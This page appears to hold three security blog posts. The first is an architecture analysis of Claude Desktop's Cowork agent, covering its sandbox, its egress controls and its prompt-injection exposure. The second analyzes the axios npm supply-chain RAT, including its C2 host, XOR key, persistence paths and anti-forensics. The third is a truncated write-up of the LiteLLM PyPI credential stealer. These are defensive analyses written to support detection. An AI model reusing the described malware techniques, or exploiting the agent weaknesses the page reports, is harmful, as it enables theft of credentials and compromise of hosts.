Computer use agents represent a new class of AI capability: systems that can see your screen, control your browser, read your files, and operate your desktop while you’re away. Claude Desktop’s Cowork - along with features like Dispatch and Computer Use - is among the most architecturally complex implementations in this category, combining a sandboxed VM, direct Chrome browser control, file system access, and remote phone dispatch into a single integrated product.

With this level of integration comes a fundamental tension: the more capable and autonomous you make an AI agent, the larger its attack surface becomes. An agent that can only answer questions is relatively safe. An agent that can browse the web, read your files, control your desktop, and operate from your phone? That’s a fundamentally different threat model.

What We Found

We reverse-engineered Cowork’s architecture by analyzing log files, extracting and statically analyzing the Electron app source, mounting the VM disk image, and tracing session lifecycles. During this research, we also identified several security issues that are currently in the process of coordinated disclosure with Anthropic and are outside the scope of this post. Here are some of the more notable discoveries - each links to the full analysis later in the post:

• The VM daemon runs as root with security hardening disabled - NoNewPrivileges=no, ProtectSystem=false. The security boundary is the VM itself, not anything inside it. (The VM)

• The VM has no firewall rules - nftables chains are empty with default ACCEPT policies. Network security is handled entirely by layers above. (Network Security)

• Chrome browser control runs outside the VM sandbox - The agent browses the web through your real Chrome browser on the host, with your real cookies and sessions. This is by design and disclosed by Anthropic. (Chrome MCP)

• 174 feature flags control Cowork’s behavior remotely - Anthropic can flip capabilities server-side without a client update. We found flags for destructive command warnings, a communication channel blocklist, and a mysterious “sparkle-hedgehog” that’s checked hourly but never enabled. (Permissions, Codenames)

• Child agent transcripts survive session deletion - Screenshots are cleaned up, but child audit.jsonl files (3.5MB in our tests) persisted on disk with complete tool call histories in world-readable files. (The Logs)

• Dispatch logs don’t distinguish phone from desktop - No device metadata, user-agent, or client_type field. The system can’t tell who sent a command. (Dispatch)

• Anthropic reports an approximate 1% prompt injection success rate against their internal testing - 99% of attacks are blocked, but the risk is managed, not eliminated

• Before adopting Cowork, we highly recommend reviewing Anthropic’s safety guides: Use Cowork Safely, Using Claude in Chrome Safely, Computer Use in Cowork

This post documents the architecture as we observed it. Our goal is to provide this research to anyone wanting to understand how these systems work, what risks are involved, and how to better manage those risks.

The Computer Use Agent Landscape

Computer use agents - AI systems that can see and control a desktop environment - are an emerging category distinct from AI-powered code builders (Cursor, Windsurf) or AI-enhanced browsers (Perplexity, Arc). Computer use agents aim to operate the full desktop: launching applications, filling forms, navigating websites, managing files.

The field is still young but moving fast. Google’s Project Mariner targets browser automation. OpenAI’s Operator provides web-based task completion. Microsoft’s Copilot Actions integrates with the Windows ecosystem. Perplexity Computer brings AI-driven desktop control to the Perplexity ecosystem. OpenClaw pushes toward highly autonomous computer operation. These are just a few examples - the category is expanding rapidly. Claude Desktop’s Cowork is notable for its depth of integration: a sandboxed VM for agent execution, direct Chrome browser control via MCP, file system access through VirtIO mounts, and remote dispatch from mobile devices.

Security research on computer use agents remains limited. This work aims to help bridge that gap - providing a detailed look at how these systems are architected, what capabilities they offer, and what security risks they introduce.

Cowork’s Three Pillars

Claude Desktop’s autonomous capabilities consist of three interconnected systems, each with its own internal codename (more on those later):

Cowork is the persistent AI agent. It runs inside a Linux virtual machine on your Mac, isolated from the host operating system. The VM provides a sandboxed environment where the agent can execute code, process files, and run tools without direct access to your system.

Dispatch is the remote control layer. It enables you to send tasks from your phone (via the Claude iOS or Android app) to the agent running on your desktop. Your message routes through Anthropic’s servers to a local “sessions bridge” component, which spawns the appropriate agent session to handle the task. The agent works autonomously and reports results back to your phone.

Computer Use gives the agent eyes and hands on the host machine. It can take screenshots, move the mouse, type on the keyboard, and control the Chrome browser through dedicated MCP (Model Context Protocol) tools. Critically, Computer Use runs on the host, not in the VM. Anthropic is explicit about this: “Computer use runs outside the virtual machine that Cowork normally uses for working on your files and running commands. This means Claude is interacting with your actual desktop and apps, rather than an isolated sandbox.”

The UI also makes sure to warn about the potential risks:

These three systems work together: you dispatch a task from your phone, the Cowork agent receives it in the VM, and when it needs to interact with the desktop or browse the web, it reaches out through Computer Use tools that operate on the host.

The VM: A Linux Sandbox on Your Mac

The sandbox runs Ubuntu 22.04 with a root-privileged daemon, no firewall rules, and no custom AppArmor profiles. The VM boundary is doing all the heavy lifting.

The Cowork agent runs inside a Linux virtual machine managed by Apple’s Virtualization.framework. Here’s what we found by analyzing the VM disk image and log files:

Operating System: Ubuntu 22.04.5 LTS, with a 10GB root filesystem image (rootfs.img) stored at ~/Library/Application Support/Claude/vm_bundles/claudevm.bundle/.

Resources: 4 CPU cores, 4GB RAM (source: cowork_vm_swift.log - VM configuration parameters logged at each boot).

Network Stack: The VM uses gVisor, Google’s userspace application kernel, for network virtualization. gVisor provides fine-grained control over system calls, including the ability to block specific syscalls like socket() at the kernel level.

Session Isolation: Each Cowork session gets a dedicated user account with a Docker-style random name (like awesome-wizardly-volta or serene-vibrant-newton). These are visible in the VM’s /etc/passwd file. The session disk is formatted fresh with ext4 on each VM boot - nothing persists from previous sessions on the ephemeral storage (source: coworkd.log - “formatting session disk with ext4”).

The Daemon: The core service inside the VM is coworkd (internally renamed sdk-daemon). Examining the systemd service configuration from the rootfs image reveals it runs as root with security hardening explicitly disabled:

# From rootfs.img:/etc/systemd/system/coworkd.service
User=root
Group=root
NoNewPrivileges=no
ProtectSystem=false
ProtectHome=false
PrivateTmp=false

This means the daemon and any processes it spawns have full privileges within the VM. The security boundary is the VM itself, not process-level isolation within it.

Firewall: The VM’s nftables configuration (from rootfs.img:/etc/nftables.conf) contains empty chains with default ACCEPT policies:

flush ruleset
table inet filter {
    chain input { type filter hook input priority 0; }
    chain forward { type filter hook forward priority 0; }
    chain output { type filter hook output priority 0; }
}

There are no firewall rules restricting network traffic within the VM. Network security is handled at layers above this.

AppArmor: While the kernel boot logs mention AppArmor, the /etc/apparmor.d/ directory on the rootfs contains only stock Ubuntu profiles (dhclient, rsyslogd, etc.). There are no custom AppArmor profiles for coworkd, sandbox-helper, or the Claude Code binary.

sandbox-helper: Alongside coworkd, there’s a sandbox-helper binary (2.1MB) that gets updated on each VM boot. The coworkd.log shows frequent hash changes across boots (e.g., sandbox-helper update detected (old=7f74b13e... new=d1b7c599...)), indicating active development. Its exact behavior could not be determined from our analysis - it likely provides additional sandboxing or process-level restrictions, but this remains an area that would benefit from further investigation.

Network Security: Three Layers of Egress Control

Anthropic built three independent layers to prevent unauthorized network access from the VM - blocked syscalls, a MITM proxy with an ephemeral CA, and a domain allowlist.

One of the most thoughtful aspects of Cowork’s architecture is its approach to network security. Anthropic implemented three distinct layers to control what network requests the agent can make:

Layer 1: VM Syscall Restrictions

At the lowest level, gVisor blocks the socket() system call for processes inside the VM. We confirmed this by dispatching commands through the Cowork agent:

$ dig example.com
;; connection timed out; no servers could be reached
socket(): Operation not permitted

$ curl https://httpbin.org/get
curl: (56) Send failure: Connection reset by peer

The agent cannot open a network socket from the VM. DNS resolution, HTTP requests, raw TCP connections - all blocked at the syscall level. This is a robust foundation because it doesn’t rely on filtering specific protocols or ports; the fundamental networking primitive is disabled.

Layer 2: MITM Proxy

For legitimate outbound HTTPS traffic (like API calls), the VM routes through a Man-in-the-Middle proxy running on the host. From coworkd.log, we can see that each VM boot generates a fresh ephemeral CA certificate:

• Private key is kept in memory only - never written to disk

• The CA is installed into the VM’s system trust store

• All HTTPS traffic from the VM passes through a Unix socket at /var/run/mitm-proxy.sock

This means Anthropic can inspect and filter all HTTPS traffic from the agent. The ephemeral CA design is good security practice - it limits the window of exposure if the certificate were ever compromised.

Layer 3: Host-Side Egress Proxy with Domain Allowlist

The outermost layer is a host-side egress proxy that filters outbound requests by domain. When the agent uses the WebFetch tool (the primary mechanism for fetching web content), requests are routed through this proxy and checked against a domain allowlist.

We confirmed this by testing WebFetch against a domain not on the allowlist:

{
  "error_type": "EGRESS_BLOCKED",
  "domain": "example.com",
  "message": "Access to example.com is blocked by the network egress proxy."
}

The WebSearch tool takes a different path - search queries are routed through Anthropic’s own infrastructure, so the VM never makes direct connections to search engines.

This three-layer approach is defense-in-depth done right. Even if one layer is bypassed, the others should provide independent protection. The design demonstrates that Anthropic takes the risk of uncontrolled agent network access seriously.

This is how it all looks like on a high level:

Chrome MCP: Browser Control from Outside the VM

Rather than running a browser inside the sandboxed VM, Cowork controls your actual Chrome browser on the host through an opt-in extension. This gives the agent real browsing capabilities - but also means it operates outside the VM’s egress controls, in your real browser session.

So far, we’ve seen how the VM sandbox restricts the agent’s direct network access through three layers of egress control. But the agent still needs to browse the web as part of many tasks - checking dashboards, reading documentation, filling forms. Rather than running a browser inside the VM (which would be constrained by those same network restrictions), Claude Desktop uses the Chrome browser on the host machine through the Model Context Protocol (MCP).

Anthropic’s own documentation is explicit about this architectural choice and its implications. Their API documentation warns that computer use is “a feature with unique risks distinct from standard API features” and that “these risks are heightened when interacting with the internet”. Their safety guide provides specific guidance on using Chrome safely with Claude.

How It Works

The Chrome MCP connection has three components:

1. Claude-in-Chrome Extension: (opt-in functionality) A Chrome browser extension that exposes browser control capabilities as MCP tools. It can navigate to URLs, extract page text, read interactive elements, fill forms, execute JavaScript, and take screenshots.

2. Native Messaging Bridge: Communication between the extension and Claude Desktop happens via a Unix socket at /tmp/claude-mcp-browser-bridge-{username}/{pid}.sock (source: chrome-native-host.log). This is Chrome’s native messaging protocol, allowing the Electron app to send commands to the extension.

3. Tab Group Isolation: The extension opens agent-controlled tabs in a dedicated Chrome tab group, visually separating the agent’s browsing from your personal tabs. This makes the agent’s activity visible and auditable. It’s worth noting that this is visual separation - the agent’s tabs run in the same Chrome profile as your personal browsing, sharing the same cookies and network context.

Available Browser Tools

The Chrome MCP provides a rich set of browser automation tools:

The javascript_tool is particularly worth understanding from a security perspective - it can execute arbitrary JavaScript in the context of any page the agent has open. Anthropic’s Chrome safety guide does address the risks of Chrome integration, but users should be aware of the scope of this capability.

Content Filtering

One security detail worth noting: the get_page_text tool doesn’t just dump the raw DOM. It performs visibility-aware text extraction:

• HTML comments are stripped (not included in the extracted text)

• CSS-hidden elements (e.g., position: absolute; left: -9999px) are stripped

• Visible text content is extracted normally

• SVG <text> elements are included (SVG is DOM content)

This means content that’s invisible to a human viewing the page is also (mostly) invisible to the agent when using text extraction. This is relevant for defending against prompt injection via hidden text on web pages. However, it’s important to note that the agent also processes screenshots visually - the model can read and interpret text rendered in images, so image-based injection remains a potential vector even when text extraction filters hidden content.

The Permission System

We’ve covered how the VM is sandboxed and how network access is controlled. But what about access to your local files and system capabilities? Cowork implements several layers of permission controls for this:

Directory Access: request_cowork_directory

When the agent needs to read files from your Mac, it uses the request_cowork_directory MCP tool. This triggers a permission dialog asking you to approve access to a specific directory (e.g., ~/Desktop). The flow in main.log looks like:

Emitted tool permission request {uuid} for mcp__cowork__request_cowork_directory
Forwarded permission request ... as control_request
Bridge resolving permission {uuid}: behavior=allow
Added user selected folder: /Users/username/Desktop for session local_ditto_...
Mounted directory: /Users/username/Desktop -> /sessions/<name>/mnt/Desktop

Each directory must be individually approved. Inside the VM, approved directories appear at /sessions/<session-name>/mnt/<directory-name>/. The permission gate is per-invocation - the agent asks each time it needs access, and you approve or deny each request.

GrowthBook Server-Side Feature Flags

Anthropic uses GrowthBook for server-side feature flag management. This gives them a remote kill switch for capabilities:

• Computer Use can be enabled or disabled per user via the chicago_config flag

• We observed this flag flip from enabled=false to enabled=true during our research - it happened server-side with no client update required

• Sub-flags control specific behaviors: clipboardGuard, screenshotFilter, pixelValidation, mouseAnimation

• Dispatch agents receive time-bounded Computer Use grants with a 30-minute TTL (dispatchCuGrantTtlMs=1800000)

The .claude.json config file inside the VM caches 174 GrowthBook feature flags under the tengu_* namespace (178 total). Notable security-relevant flags include:

The tengu_harbor_ledger blocklist is interesting - it blocks specific communication channel plugins (deny-specific) rather than using an allowlist (allow-specific), meaning new communication plugins are allowed by default until explicitly blocked.

Other Notable Code Paths

In the Electron app source (app.asar), we found an allowDangerouslySkipPermissions boolean parameter in the session initialization flow. It’s set to false, but its existence as a code path is worth noting for completeness.

Dispatch: Your Phone Controls Your Desktop

Your phone becomes a remote control for an autonomous agent on your desktop - but the logs can’t tell whether a command came from the phone or the keyboard, and you have limited visibility into what the agent does between permission checkpoints.

So far, we’ve looked at the agent from the perspective of someone sitting at their Mac. But one of Cowork’s most distinctive features is Dispatch - the ability to send tasks from your phone that execute on your desktop computer while you’re away. Anthropic’s own documentation acknowledges this: “phones effectively become remote controls for desktop resources.” Here’s how it works under the hood:

The Message Flow

1. You type a message in the Claude iOS/Android app’s Dispatch tab

2. The message is sent to Anthropic’s servers

3. The desktop app’s sessions-bridge component receives the message via Server-Sent Events (SSE)

4. The bridge forwards it to the local ditto session (the persistent parent agent)

5. The ditto agent spawns a child agent to handle the task

6. The child executes the task in the VM (and on the host via Computer Use)

7. Results are relayed back through the parent to Anthropic’s servers to your phone

In main.log, you can trace this flow:

[sessions-bridge] Received user message for session cse_XXXXX: "your message"
Using Claude VM spawn function for session
[DispatchMcp] Spawned child local_XXXXX ("task title") for parent local_ditto_XXXXX

One observation: the logs do not contain device metadata for incoming messages. There’s no client_type, user-agent, or platform field that distinguishes whether a command came from the phone or the desktop. The only platform field refers to the host OS (darwin), not the sending client.

Parent-Child Architecture

The parent ditto agent and child agents have different capabilities:

The parent orchestrates by dispatching tasks and polling for results. Children are isolated from each other - they can’t read other sessions’ transcripts or spawn further children. This limits the blast radius of any individual child agent.

Limited Visibility from Phone

An important consideration: when you dispatch from your phone, you have limited real-time visibility into what the child agent is doing. The parent polls the child’s transcript and relays results, but the child may perform many actions (file system traversal, Chrome navigation, screenshot capture) before the parent checks in. Permission requests are forwarded to your phone, but the approval context is limited - you see a directory name but may not fully understand what the agent plans to do with that access. We observed the agent trigger request_cowork_directory five times during a single session, each requiring manual approval. The CUA security literature notes that users tend to “grow used to always agreeing” to such dialogs - a risk amplified by the limited context available on a phone screen.

We also encountered several instances where the Dispatch phone view appeared stuck with no visible progress indicator, while the session on the desktop showed active agent execution. This may be a symptom of the feature’s relative newness, but it underscores the visibility gap when operating remotely.

The Logs: A Forensic Goldmine

Claude Desktop generates extensive local logs - complete tool transcripts, model reasoning chains, user messages in plaintext - all in world-readable files. Some of these survive even after you delete a session.

With all this complexity - a VM, a Chrome bridge, remote dispatch, parent-child agent orchestration - how do you actually see what the agent did? Claude Desktop generates extensive logging that provides surprisingly detailed visibility into agent behavior:

All log files we examined had 644 (world-readable) permissions, meaning any local process can read them.

Session Artifacts

Each Cowork session creates a directory tree at ~/Library/Application Support/Claude/local-agent-mode-sessions/:

• audit.jsonl - The complete transcript of every tool invocation, including inputs, outputs, the model’s thinking chain, and timing. This is the definitive forensic record.

• outputs/screenshot-*.jpg - Full desktop screenshots taken by Computer Use, saved as JPEG images (~200KB, 1372x891 pixels in our tests) with 644 (world-readable) permissions. We tested the lifecycle: screenshots persist on disk during the active session, but are cleaned up when the session is deleted from the Claude Desktop UI. However, child session audit logs (which can contain base64-encoded screenshots inline) are NOT cleaned up on session deletion - see note below.

• .claude.json - Session configuration including all cached GrowthBook feature flags

• remote_cowork_plugins/manifest.json - Plugin manifest (currently empty in our observations - no security plugins loaded in VM agents)

The bridge-state.json file at the Application Support root maps remote Anthropic session IDs (cse_*) to local ditto sessions (local_ditto_*), providing the link between phone dispatch and local execution.

A note on data persistence: We tested what happens when you delete a session from the Claude Desktop UI. The results are mixed:

This means that even after deleting a session, complete transcripts of every tool invocation, model thinking chain, and file contents read by child agents remain on disk in world-readable files. The main.log file (also 644 permissions) retains the full conversation history including user messages in plaintext across all sessions, regardless of deletion.

Anthropic’s own documentation notes that “Cowork activity is not captured in audit logs, Compliance API, or data exports” - this refers to their cloud-side audit infrastructure. The local filesystem tells a different story.

Codenames Decoded

Throughout this analysis, we’ve referenced internal codenames that appear in log files and configuration. Here’s the full map we assembled from log prefixes, feature flag namespaces, and session IDs:

“Chicago” for computer use, “ditto” for the persistent agent session, “harbor” for the plugin marketplace. “Sparkle-hedgehog” remains a mystery - a feature gate that’s checked hourly but has never been enabled in our observation period.

What Anthropic Gets Right

Having mapped the full architecture, it’s worth stepping back to acknowledge what works well. Cowork’s security architecture shows serious engineering investment:

• Ephemeral CA certificates - Generated fresh each boot, private key in memory only. Good cryptographic hygiene.

• Per-invocation permission gates - The agent asks each time it needs file access. No blanket grants.

• Server-side kill switches - GrowthBook feature flags let Anthropic disable any capability remotely, instantly.

• Egress proxy with domain allowlist - Network access is filtered, not open.

• Visibility-aware text extraction - The Chrome extension strips hidden content before the agent sees it, reducing prompt injection surface.

• Ephemeral session storage - Session disks are formatted fresh each boot.

• Model-level injection detection - Claude Sonnet 4.6 has robust detection of common prompt injection patterns. Anthropic reports approximately 1% attack success rates against their internal testing.

• Electron fuse hardening - RunAsNode: Disabled, EnableNodeOptionsEnvironmentVariable: Disabled, EnableEmbeddedAsarIntegrityValidation: Enabled, OnlyLoadAppFromAsar: Enabled.

• Transparent risk communication - The computer use enable dialog explicitly warns about prompt injection, irreversible actions, and app escalation. Support articles call prompt injection “the biggest risk” and state that output filters “are not a security boundary.”

These are real, defense-in-depth controls. They’re not perfect (no security architecture is), but they demonstrate thoughtful engineering around the threat model for autonomous agents.

Areas for Improvement

That said, our analysis identified several areas where the security posture could be strengthened:

Incomplete cleanup on session deletion. When a user deletes a session, screenshots are properly cleaned up, but child session audit logs are not. These audit logs contain complete transcripts of every tool call and model reasoning chain - potentially including sensitive file contents the agent read. Additionally, main.log is never affected by session deletion and retains the full conversation history in plaintext.

No device authentication for remote dispatch. There’s no additional authentication for remote commands beyond the Claude session itself - no MFA, no device binding, no presence check on the desktop before executing actions. The logs don’t distinguish whether a command came from the phone or the desktop.

World-readable log files with sensitive content. main.log (644 permissions) contains full user messages in plaintext, file paths, subscription tier details, and organization IDs. The audit.jsonl files contain complete agent transcripts including the model’s internal reasoning. Any local process can read these.

Communication channel blocklist vs allowlist. The tengu_harbor_ledger blocks specific communication plugins (Discord, Telegram, iMessage) but uses a deny-specific approach. New communication plugins are allowed by default until explicitly blocked, which inverts the principle of least privilege.

Destructive command warnings disabled in VM. The tengu_destructive_command_warning flag is set to false inside the VM, meaning the agent won’t warn before executing potentially destructive commands like rm. The VM’s ephemeral storage mitigates some risk, but commands affecting mounted host directories wouldn’t benefit from warnings.

Practical Security Recommendations

Based on our analysis and informed by Anthropic’s own guidance:

For individual users:

• Close sensitive applications and browser tabs before enabling Computer Use - the agent can see and interact with everything visible

• Review permission requests carefully, especially from phone dispatch where context is limited

• Be aware that Chrome browsing happens outside the VM sandbox, using your real browser with your real cookies and network access

• Don’t process regulated data (financial, health, legal) through Cowork - Anthropic explicitly warns it’s “not suitable for regulated workloads”

• Review session directories periodically and clean up any sensitive artifacts

For security teams evaluating deployment:

• Monitor main.log and audit.jsonl for agent behavior (we’ll cover detection strategies in detail in a future post)

• Consider the dispatch feature’s implications for your threat model - remote agent execution with limited real-time oversight

• Understand that the agent’s behavior is non-deterministic - an action it refused yesterday might succeed today. Security policies should account for this variability

• Review Anthropic’s safety guides: Use Cowork Safely, Using Claude in Chrome Safely, and Computer Use in Cowork

• Account for the fact that Computer Use operates outside the VM sandbox with full host access

Looking Ahead

This analysis represents a point-in-time snapshot (March 2026, Claude Desktop for macOS). Anthropic ships updates frequently, and the architecture will evolve. We’ll continue monitoring and will publish updates as significant changes occur.

Computer use agents are a genuinely new capability category, and the security community is still developing frameworks for evaluating them. We hope this deep dive helps security professionals and users alike make informed decisions about deploying and securing these systems.

This is the first in a series of technical deep dives into the security architecture of AI tools and platforms. As the AI ecosystem evolves rapidly, we believe that security research plays an important role in helping the community understand what’s running under the hood. We’ll be publishing similar analyses of other AI agent platforms and tools in the coming months.

Thanks for reading! This post is public so feel free to share it.

Subscribe now

Share

At Pluto, we’re enabling enterprises to use AI Builders securely.
Want to learn more? Let’s talk.

Leave a comment

On March 31, 2026 (or late March 30th, depending where you are in the world), one of npm’s most popular packages - axios, with over 40 million weekly downloads - was compromised in a supply chain attack that deployed a cross-platform RAT to developer machines. The attack window was roughly 3 hours, but that was more than enough.

Here’s what happened, what it does, and why detecting it is harder than it looks.

What Happened

The attacker compromised the npm (and GitHub) account of axios maintainer jasonsaayman. The account email was changed to ifstap@proton.me, and two malicious versions were published directly via the npm CLI:

• axios@1.14.1 at 00:21 UTC

• axios@0.30.4 at 01:00 UTC

Both versions added a new dependency: plain-crypto-js@4.2.1 - a package created the day before by a second attacker-controlled account (nrwise, email nrwise@proton.me). The name is clearly designed to pass a quick glance as the legitimate crypto-js.

A key forensic signal: legitimate axios releases are published via GitHub Actions with OIDC provenance signing. The malicious versions were published via npm CLI with no provenance attestation. This discrepancy is what tipped off the community.

Collaborator DigitalBrainJS attempted to respond but lacked admin privileges to revoke the compromised account. The attacker used their admin access to delete the initial compromise report issue. npm administration finally removed the malicious versions and revoked all tokens at approximately 03:40 UTC.

How the Malware Works

The attack chain is straightforward but well-executed:

1. npm install pulls plain-crypto-js@4.2.1 as a transitive dependency

2. A postinstall hook runs setup.js automatically

3. setup.js deobfuscates its payload (reversed Base64 + double XOR with key OrDeR_7077 and constant 333), detects the OS, and downloads a platform-specific RAT from sfrclak[.]com:8000

4. The RAT is deployed and begins beaconing. Total time from npm install to full compromise: roughly 15 seconds

5. setup.js self-deletes and replaces its package.json with a clean copy (package.md renamed), covering its tracks

Platform-Specific Payloads

macOS: A Mach-O universal binary (x86_64 + arm64) dropped to /Library/Caches/com.apple.act.mond - named to look like an Activity Monitor daemon. Deployed via AppleScript.

Windows: A PowerShell RAT at %PROGRAMDATA%\wt.exe with registry persistence (HKCU:\...\Run\MicrosoftUpdate) via a hidden system.bat file. Supports reflective .NET DLL injection - loading assemblies directly into memory without touching disk.

Linux: A Python RAT at /tmp/ld.py, executed via nohup python3. Performs hardware fingerprinting by reading /sys/class/dmi/id/ entries.

C2 Protocol

All three RAT variants share a common C2 protocol over plain HTTP (not HTTPS):

• Server: sfrclak[.]com (142.11.206.73:8000), running Express.js

• Beacon interval: 60 seconds

• User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

• Platform routing: /product0 (macOS), /product1 (Windows), /product2 (Linux)

On first execution, the RAT sends a FirstInfo beacon that enumerates the victim’s file system - specifically ~/Documents, ~/Desktop, ~/.config, ~/.ssh, and ~/.aws on Linux/macOS, and Documents, Desktop, OneDrive, and AppData\Roaming on Windows. Every subsequent beacon includes a full process list.

The RAT supports four commands: kill (self-terminate), peinject (execute binaries/inject DLLs), runscript (arbitrary code execution), and rundir (enumerate targeted directories).

Anti-Forensics

This is where the attack gets interesting. The malware actively cleans up after itself:

• setup.js deletes itself after execution

• The malicious package.json is replaced with a pre-staged clean copy

• Windows dropper scripts (6202033.vbs, 6202033.ps1) self-delete

• The use of plain HTTP avoids SSL inspection and certificate pinning issues

The result: a compromised node_modules/plain-crypto-js directory may appear completely clean after the payload has already executed. Lockfile analysis is more reliable than filesystem inspection for determining whether a machine was exposed.

Why This Payload Is Hard to Detect on Disk

We’ve been actively helping customers assess exposure to this attack, and one thing became clear quickly: filesystem-based detection alone is not reliable for this payload.

Here’s why. The malware’s anti-forensic cleanup doesn’t just remove the dropper - it’s designed to make a compromised environment look indistinguishable from a clean one:

• setup.js (the dropper) is deleted immediately after execution

• The malicious package.json inside plain-crypto-js is replaced with a pre-staged clean copy

• On Windows, the VBScript and PowerShell staging scripts self-delete

• The plain-crypto-js directory in node_modules survives, but its contents appear clean

• If the infected project has since been rebuilt (npm install, rm -rf node_modules, or a CI pipeline refresh), even the directory is gone

In practice, this means a machine that was fully compromised - RAT deployed, C2 active, credentials potentially exfiltrated - can show a completely clean filesystem by the time someone runs a scan. We’ve observed this firsthand in customer environments where we had confirmed C2 communication but no filesystem artifacts remained.

What Actually Works for Detection

From our experience, Network-based detection is the most reliable approach. The RAT beacons every 60 seconds over plain HTTP to sfrclak[.]com:8000 with a distinctive user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)). This traffic is highly anomalous and detectable via:

• DNS monitoring - any resolution of sfrclak[.]com is a definitive indicator. There is no legitimate reason for this domain to appear in DNS logs.

• Proxy/firewall logs - outbound HTTP to 142.11.206.73:8000 or any traffic with the IE8 user-agent string from a modern development machine.

• Network flow data - periodic 60-second beacon patterns to port 8000.

Persistent filesystem artifacts are the next best option, but only if the malware hasn’t been cleaned up and the machine hasn’t been rebooted:

• macOS: /Library/Caches/com.apple.act.mond - this persists across reboots and is the most durable file artifact.

• Windows: Registry key HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate and %PROGRAMDATA%\system.bat - the persistence mechanism survives reboots even if wt.exe is removed.

• Linux: /tmp/ld.py - cleared on reboot, so only useful if the machine has been running continuously since infection.

Package-level indicators are useful but have caveats:

• The plain-crypto-js directory in node_modules is the single strongest filesystem IoC - this package has zero legitimate use. But it’s gone if the project was rebuilt.

• Lockfile references to plain-crypto-js are definitive. Version-only matches on axios@1.14.1 in lockfiles produce false positives - many projects legitimately reference this version number.

The key takeaway: if you’re relying solely on endpoint scans to determine exposure, you may be getting false negatives. DNS and network logs are the ground truth for this attack.

The Bigger Picture

This attack is notable for a few reasons:

Scope. Axios gets 40M+ weekly downloads. Even a 3-hour window is significant.

Tradecraft. Multi-platform native payloads, reflective DLL injection, anti-forensic cleanup, and a staged dependency (publishing a clean plain-crypto-js@4.2.0 18 hours before the malicious 4.2.1 to bypass new-package heuristics) - this wasn’t a script kiddie.

The OIDC gap. Axios had OIDC-based trusted publishing via GitHub Actions - the right setup. But npm still allowed direct CLI publishes from the maintainer’s stolen credentials. The provenance mechanism detected the anomaly after the fact, but didn’t prevent publication. This is a systemic gap in npm’s security model that affects any package relying on OIDC publishing as a security control rather than an enforcement mechanism.

The response bottleneck. A collaborator identified the compromise quickly but couldn’t revoke the attacker’s access without admin privileges. The attacker used those same admin privileges to suppress the initial report. This highlights the need for multi-party controls on critical package operations.

Supply chain attacks are no longer theoretical edge cases - they’re a recurring operational reality. If your organization runs npm install anywhere, you need monitoring for unexpected dependency changes, egress controls on build systems, and a response plan that doesn’t start with “let me Google what to do.”

IoCs

References & Further Reading

• GitHub Advisory - axios/axios#10604 - Original compromise report and community discussion

• Github Gist by Giuseppe N3mes1s - Deep Analysis of the payload based on Reverse Engineering all 5 payloads downloaded from VT, in an isolated VM. Includes Yara, Sigma, and Suricata detection rules.

• StepSecurity: Axios Compromised on npm - Initial disclosure and timeline

• Aikido: Axios npm Compromised - Maintainer Hijacked - Account takeover analysis

• Socket: Axios npm Package Compromised - Package analysis and related malicious packages

• OpenSourceMalware: Full Technical Analysis - Deep dive into RAT internals, C2 protocol, and platform-specific payloads

TL;DR

LiteLLM versions 1.82.7 and 1.82.8 on PyPI were compromised with a credential-stealing payload - likely by TeamPCP using secrets stolen via the recent Trivy attack. The v1.82.8 payload runs on every Python startup, no import needed. If you use litellm, check whether you’re affected, and rotate all credentials on any impacted system.

Full analysis below.

What’s LiteLLM?

If you work with large language models, there’s a good chance you’ve used - or are running - litellm. It is one of the most popular AI gateway projects, with over 40,000 GitHub stars, 483 million PyPI downloads, and adoption by companies including Stripe, Netflix, and Google ADK. As one of the most widely used AI infrastructure packages in the Python ecosystem, it lets developers call over 100 LLM APIs through a single unified interface - write your code once, swap providers with a config change.

How the LiteLLM payload works

The two affected versions use different delivery mechanisms:

• v1.82.8 contains a malicious .pth file (litellm_init.pth) that executes automatically on Python startup

• v1.82.7 embeds the payload directly in proxy/proxy_server.py, which executes when the litellm proxy is used

The v1.82.8 trigger: a .pth file

The more dangerous of the two is v1.82.8. It uses a file called litellm_init.pth (34,628 bytes) to achieve automatic execution.

Python has a little-known feature: any file ending in .pth that’s placed in a site-packages directory gets executed automatically when the Python interpreter starts up. Not when you import the package. Not when you call a function. Every single time Python runs - including scripts, notebooks, CI jobs, and background services.

This means the payload activates even if your code doesn’t use litellm at all. If the package is installed in your environment, you’re affected.

Stage 1: Harvesting everything

Once triggered, the payload collects sensitive data from the host system:

• SSH keys and configs - private keys, authorized keys, known hosts

• Cloud credentials - AWS, GCP, and Azure credential files, plus IMDS token harvesting for cloud-hosted environments

• Kubernetes secrets - kubeconfig files, admin configs, service account tokens, and cluster secrets across all namespaces

• Environment variables - every API key, database password, and secret token set in the environment

• Git credentials - .gitconfig, .git-credentials

• Docker configs - registry authentication tokens

• Database credentials - PostgreSQL, MySQL, Redis, LDAP config files

• Shell history - bash, zsh, MySQL, PostgreSQL, and Redis command history

• CI/CD secrets - Terraform variables, GitLab CI, Travis, Jenkins, and Drone configs

• Cryptocurrency wallets - Bitcoin, Ethereum, Solana, Monero, and others

• SSL/TLS private keys - from /etc/ssl/private/ and Let’s Encrypt directories

Stage 2: Encrypted exfiltration

The collected data isn’t sent in the clear. The payload generates a random AES-256 session key, encrypts all harvested data, then encrypts the session key itself using a hardcoded 4096-bit RSA public key. The encrypted bundle is sent via HTTPS POST to models.litellm.cloud - a domain designed to look like legitimate litellm infrastructure (the real domain is litellm.ai).

This means even if you captured the network traffic, you couldn’t read what was sent without the attacker’s private key.

Stage 3: Lateral movement in Kubernetes

For environments running Kubernetes, the payload goes further. It reads all cluster secrets across all namespaces and attempts to create a privileged alpine:latest pod on every node in the cluster - essentially trying to gain root-level access to every machine in your infrastructure.

Persistence

The malware installs itself to survive beyond the initial execution:

• ~/.config/sysmon/sysmon.py - a local backdoor disguised as a system monitoring tool

• ~/.config/systemd/user/sysmon.service - a systemd service to ensure the backdoor restarts automatically

• node-setup-* pods in the kube-system namespace - blending in with legitimate Kubernetes system pods

Additional details are available on GitHub Issue #24512, where the community is tracking the issue. Note that issue has been flooded with what seems to be dozens of bot-generated comments - generic responses like “Thanks, that helped!” and “Worked like a charm, much appreciated” posted by different accounts within seconds of each other:

This appears to be a deliberate attempt to bury legitimate technical discussion and slow down the community’s response

PyPI’s response

PyPI admins responded quickly - within approximately 3 hours of the compromised packages being published - and quarantined the entire project. The project page now displays:

